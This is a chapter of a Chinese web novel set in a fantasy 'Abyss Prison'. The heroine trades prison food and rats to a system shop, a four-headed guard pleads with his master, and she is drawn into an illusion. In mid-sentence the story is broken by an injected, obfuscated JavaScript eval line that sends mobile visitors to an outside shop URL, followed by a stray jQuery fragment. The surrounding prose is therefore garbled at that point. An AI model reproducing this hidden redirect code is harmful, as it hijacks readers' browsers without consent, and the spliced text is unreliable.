光点正好装进去【囚笼吊坠】,卜战把他和老母鸡一起放进【一亩小型灵田】。

    为了防止他俩饿了渴了,她还放置了充足的食物和水源。

    终于忙完,卜战这才有空休息下来。

    看着弗辟风石槽里满满的泔水,卜战计上心来。

    不知疲倦的将泔水一勺勺舀到一个不小的容器里,卜战信心满满拿到商城兑换处换钱。

    按理来说,尸体都能换钱。

    这奇奇怪怪不知道什么东西的泔水,应该更有研究价值一些,更能卖上个好价钱!

    【您的物品“深渊监狱下等食物”共计可兑换300金币。确认兑换后,交易无法撤回。请问是否继续交易?】

    “是!”

    “300金币,居然有300金币!”

    轻轻松松就小发一笔横财,卜战高兴得直得瑟。

    她石槽里都是中等食物,兑换的金币肯定更多!

    只是还未走到门口,牢房里的景象就让她感觉大事不妙。

    ······这怎么,好像有东西趴在她牢房的石槽里蠕动?

    一个大跨步回到自己牢房。

    卜战徒手抓住在她食槽里偷吃的四只长尾大耗子,恶狠狠地摔进系统商城兑换处。

    “你们最好吃了食之后,价值比中等食物还要高,否则我扒了你们的皮——擦马桶!”

    【您的物品“变异老鼠*4”共计可兑换2000金币。确认兑换后,交易无法撤回。请问是否继续交易?】

    “2000金币?”

    卜战知道这钱也不少了,但要是单卖被它们偷吃的泔水,肯定挣得更多。

    但事已成定局,她只能忍痛选择继续交易了。

    事已至此,再把气撒在它头上也没用。

    还不如早点处理了这事,眼不见心不烦。

    【您的物品“深渊监狱中等食物”共计可兑换1800金币。确认兑换后,交易无法撤回。请问是否继续交易?】

    “是。”

    剩下最后一点被大灰耗子拱到石槽外面的食物,卜战才想起还没看这些泔水都是什么成分。

    随手把中等食物放到仓库,系统弹出解释:

    [您已将“深渊监狱中等食物”放置仓库。深渊监狱常用于关押穷凶极恶的犯人,在监狱中,所有的空间传送类物品都无法使用。每一层监狱都有狱警定期巡逻,并且狱警会根据所受贿赂决定提供给犯人的食物。深渊监狱的饭菜具有极强的强化躯体作用,只是价格越低廉的饭菜,副作用越大。]

    “每一层······”

    ——深渊监狱不止一层!

    卜战终于意识到刚才事急从权,被她忽略的点:

    离开深渊监狱的唯一办法也许只有狱警知道。

    那狱警到底是知道还是不知道?

    而系统,在这其中又担任着什么样的角色?

    它想让她离开,还是不想让她离开?

    或者说,她应该换种问法。

    系统,到底要让她完成怎样的任务,才肯放她离开?

    她能否活着离开?

    *

    狱警离开的路上,四颗人头全部噤若寒蝉。

    他们只恨腿就长了两只,这监狱的走廊怎么走也走不完。

    “快点啊!快点!随便给它舀一勺就得了。”

    “我知道!我这不是干着呢嘛,你别催!”

    “都怪刚才下3906号房浪费太多时间。”

    终于舀完最后一勺饭,狱警笨拙的冲进电梯,直冲顶层而去。

    电梯门开,一个大平米、装潢优越的办公室跃然眼前。

    两只手不知道给四颗头哪颗头先擦汗好,进门后还未走到中央,就“噗通”一声跪下来。

    豪华的老板椅上,一个远看遗世独立,近看雍容华贵的男人悠闲的坐在那里。

    他好像已经等了许久,俊俏的面庞满是不耐。

    “主人、主人,我们不知道您大驾光临,要不然我们是万万不可能出门去的。”

    “是、是啊,主人,我们知道您来了,一刻不敢耽搁的就往回跑了。”

    “主人,您交代给我们办的事儿有眉目了,现在已经在走程序了。”

    “主人,我们对您的效忠之心天地可鉴呐,主人。”

    四头预警你一言我一语的声音实在嘈杂难听,

    终于听四头狱警安静下来,颜洛中开口道。

    “你们说完了?”

    一身黑色圣女装,带着珠翠面纱,露出一双碧绿色眼睛的沙树从黑暗中走出,袅袅婷婷走到四头狱警的面前。

    四头狱警看着这双又白又滑嫩的细腿出现在的视野里,大气不敢喘。

    只有矫揉造作脸认为别人看不见他,偷摸着从沙树的脚背一路看上去,对上沙树碧绿色的眼睛后,结结实实挨了一巴掌。

    矫揉造作脸脸上传来的疼痛感霎时间传遍四头狱警的每一张脸。

    而右手已经抢先被矫揉造作脸使用,其他脸轮不上,就只能干瘪嘴。

    这个该死的女人,打这么重干什么?!脸都打麻了!

    不就是多看两眼吗,能看掉皮不成?!

    其余三颗头幽怨地看着矫揉造作脸,只敢在心中腹诽,不敢再多嘴多舌。

    颜洛中穿着一身白色金线刺绣的民族服装随意坐在那里,静静等待四头狱警领完“赏赐”才开口。

    “你刚才说走程序,现在走到哪一步了?”

    “回主人。”笑脸抢过右手的控制权,捂在自己脸上。

    “只差最后的监狱长签字就能转到咱们监狱了。”

    “您想要提审的囚犯,他的预知能力太过特殊,咱们深渊监狱暂时缺少监禁这样囚犯的牢房,监狱长可能是想等有空闲的监狱腾出来再收容。”

    笑脸“嘿嘿”笑着,将自己的责任完全摘出去,转而给监狱长上眼药。

    颜洛中端起桌子上的美酒细品,慢悠悠的宣布四头狱警的死刑。

    “缺牢房,你不懂得操作吗?事情办了一年还没有办完,我养着你,是专门听你说废话的吗?”

    眼看着沙树的巴掌又要落到脸上,四头狱警赶忙跪下磕头。

    “都是我们的错、都是我们的错!主人您别生气,我已经物色好了人选,马上就能把牢房空出来。”

    “您看在我们对您忠心不二的份上,再给我们一次机会!”

    颜洛中盯着手中的酒杯冷声道。

    “机会?”

    “你想要机会就得有机会吗?”

    笑脸越说

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17573219|204731||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    越错,奸邪诡怖脸朝他使了个颜色让他住嘴。

    待颜洛中话毕,奸邪诡怖脸这才恭恭敬敬开口道。

    “主人,耽误您的大事是我们的错,我们为主人办了这么多年的事,跟着主人也算走南闯北见识过了。甚至现在能在这深渊监狱里当狱警,也是托主人的福。”

    “这次没能把您的事情办好,确实是我们的错。”

    “我们也不苛求您能再大发慈悲原谅我们,只是希望您能让我们把这件事办完、办好再死,好让我们能够报答您的提携之恩。”

    奸邪诡怖脸控制躯体拜伏做小在地上,发表完言论后就低头不再说话嘞。

    沙树见颜洛中的脸色稍有缓和,缓步走回颜洛中背后听候差遣。

    颜洛中一下又一下的用食指敲击着桌子,似乎在思考怎么才能物尽其用。

    *

    左侧牢房突然坍塌,飞扬的尘灰里,卜战抽出长刀。

    现在这种丈二和尚摸不着头脑的境况,真的很让她生气。

    不论是正在被谁玩弄在股掌之间,她都想知道,她到底是在被作为耗材使用,还是作为傀儡被控制?

    有谁能行行好,告诉她吗?

    见卜战自尘土中站起身来,墙洞外侧的生物并不意外,反而一步步缓慢靠近着她。

    他们之间的距离一步步缩小,怪物的身形一寸寸变大。

    待走到卜战面前之时,它已经大到整个身躯都抵在顶棚上了。

    卜战举起长刀,歪了歪头,谨慎地看着它。

    难道,它就这点本事?

    忽地,卜战意识到了什么,只是她已然落入了它的圈套。

    ——这一切都是假象!

    只是,从何时开始,是假象的呢?

    苍白的路灯下,蚊子围绕烛火嗡鸣。

    卜战环抱着长刀站在那里,无语地看着这一切。

    还以为能出现个多厉害的狱友让她发泄一下憋屈的情绪呢,没想到又是幻境。

    这已经是她第二次在深渊监狱里看到有关幻境的东西了。

    她都怀疑它们这些玩幻境的犯人是否都罪大恶极,才会被一水儿的抓进来服刑。

    此时,卜战面前是一条望不到尽头的单向马路,背后是森绿诡谲的草丛和树林。

    天上巨大的月亮旁随着几颗黯淡的星,还有三两只不知被什么奇怪东西惊起的乌鸦。

    她标致的身材被路灯的灯光拉出长长一道影子,看起来像一个孤僻的战士。

    当然,卜战更认为,她深更半夜黑着脸站在路灯下,像神经病更多一些。

    不知从哪吹来一股凉风,冷得人直打哆嗦。

    卜战观察着四周,不动如山。

    刺耳尖利的电话铃声划破夜的宁静。

    卜战等的就是这一声,快马加鞭走过去,接起电话就是骂。

    “你是不是神经病?有病你就吃药啊!”

    “把我弄来这荒郊野岭干什么,吓死我你是能升天吗?”

    “有本事出来单挑,窝窝囊囊的算什么好东西!”

    电话那头显然没想到卜战这么暴躁,很快就响起一阵嘟嘟声,像是被吓跑了一样。

    “嘟嘟——”

    卜战还想再骂,但很显然,对方不给她发挥的机会了。